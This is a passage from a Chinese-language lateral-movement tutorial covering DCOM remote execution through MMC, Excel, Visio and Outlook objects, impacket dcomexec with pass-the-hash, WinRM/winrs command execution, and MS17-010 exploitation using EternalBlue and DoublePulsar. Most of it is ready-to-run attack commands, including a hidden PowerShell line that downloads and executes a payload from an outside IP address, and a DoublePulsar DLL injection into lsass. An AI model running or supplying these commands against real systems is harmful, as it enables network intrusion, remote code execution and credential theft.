[activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455- 00A0C91F3880","192.168.41.147")).Document.Application.shellExecute("cmd.exe","/c powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://118.178.134.226:9988/payload.ps1'))","c:wi ndowssystem32",$null,0)
调用Excel.Application远程执行命令
目标主机中安装有excle
通过PowerShell与DCOM进行远程交互,创建Excel.Application对象的实例
$com = [activator]::CreateInstance([type]::GetTypeFromprogID("Excel.Application","192.1 68.41.147")) $com.DisplayAlerts = $false $com = [activator]::CreateInstance([type]::GetTypeFromprogID("Excel.Application","127.0 .0.1"))
然后执行如下命令,我们就可以调用该对象的”DDEInitiate”方法在远程主机上启动进程
$com.DDEInitiate("cmd.exe","/c 参数")
Visio.Application远程执行命令
目标主机中安装有Visio
[activator]::CreateInstance([type]::GetTypeFromProgID("Visio.Application","192.1 68.52.138")).[0].Document.Application.shellExecute("C:shell.exe")
Outlook.Application远程执行命令
目标主机中安装有Outlook
[activator]::CreateInstance([type]::GetTypeFromProgID("Outlook.Application","192 .168.52.138")).createObject("Shell.Application").shellExecute("C:shell.exe")
Impacket中的dcomexec.py
dcomexec.exe [domain/]username:password@ip //创建一个交互式shell
dcomexec.exe [domain/]username:password@ip command // 执行命令
dcomexec.exe [domain/]username:@ip -hashes [hash] //hash传递
16. WinRM远程执行命令横向移动
WinRM介绍
WinRM(Windows远程管理)是Microsoft 在Windows中对WS-Management的实现,它使系统可以 跨通用网络访问或交换管理信息。利用脚本对象或内置的命令行工具,WinRM可以与可能具有基板管 理控制器(BMC)的任何远程计算机一起使用,以获取数据。也可以获取基于Windows的计算机(包 括WinRM)。 WinRM默认端口5985(HTTP端口)或5986(HTTPS端口),若配置了WINRM远程服 务,当我们拿到一个管理员账户时,可以使用远程连接进行命令执行操作
winrm通过HTTP(5985)或HTTPS SOAP(5986)端口来进行通信
Winrs.exe
Winrs.exe 是一个内置的命令行工具,它允许远程命令的执行在WinRm的适当的有资格的用户
winrs -r:http://127.0.0.1:5985 -u:administrator -p:Admin@123 "whoami"
winrs -r:http://127.0.0.1:5985 -u:机器名\用户名 -p:xxxxx "ipconfig"
winrs -r:https://127.0.0.1:5985 -u:机器名\用户名 -p:xxxxx "ipconfig"
winrs -r:http://127.0.0.1:5985 -u:机器名\用户名 -p:xxxxx cmd
winrs -r:https://127.0.0.1:5985 -u:机器名\用户名 -p:xxxxx cmd
Invoke-Command -ComputerName TARGET -ScriptBlock { dir c:\ }
Invoke-Command -ComputerName TARGET -Credential 域名\用户名 -command {Get-Culture} Invoke-Command -ComputerName TARGET -Credential 域名\用户名 -ScriptBlock {Get- Culture}
执行
winrs -r:http://192.168.41.147:5985 -u:administrator -p:Admin@123 "whoami"
提示:如果出现
Winrs error:WinRM 客户端无法处理该请求。 可以在下列条件下将默认身份验证与 IP 地址结合使用: 传输为 HTTPS 或目标位于 TrustedHosts 列表中,并且提供了显式凭据。 使用 winrm.cmd 配置 TrustedHosts。请注意,TrustedHosts 列表中的计算机可能未经过身份验证。 有关如何设置 TrustedHosts 的详细信息,请运行以下命令
输入出现请输入
winrm set winrm/config/Client @{TrustedHosts="*"}
17. 使用系统漏洞MS17010横向移动
Cobalt Strike 生成DLL
生成cs的生成bin文件
使用msf用bin文件生成dll文件
msfvenom -p generic/custom PAYLOADFILE=./payload.bin -a x64 --platform windows - f dll -o wanli111.dll
或者直接生成也可以
原版ms17010渗透
cs执行下面的命令
Eternalblue-2.2.0.exe --TargetIp 192.168.41.168 --Target WIN72K8R2 -- DaveProxyPort=0 --NetworkTimeout 60 --TargetPort 445 --VerifyTarget True -- VerifyBackdoor True --MaxExploitAttempts 3 --GroomAllocations 12 --OutConfig outlog.txt
Doublepulsar-1.3.1.exe --InConfig Doublepulsar-1.3.1.xml --TargetIp 192.168.41.168 --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload 123.dll --payloadDllOrdinal 1 --ProcessName lsass.exe -- ProcessCommandLine "" --NetworkTimeout 60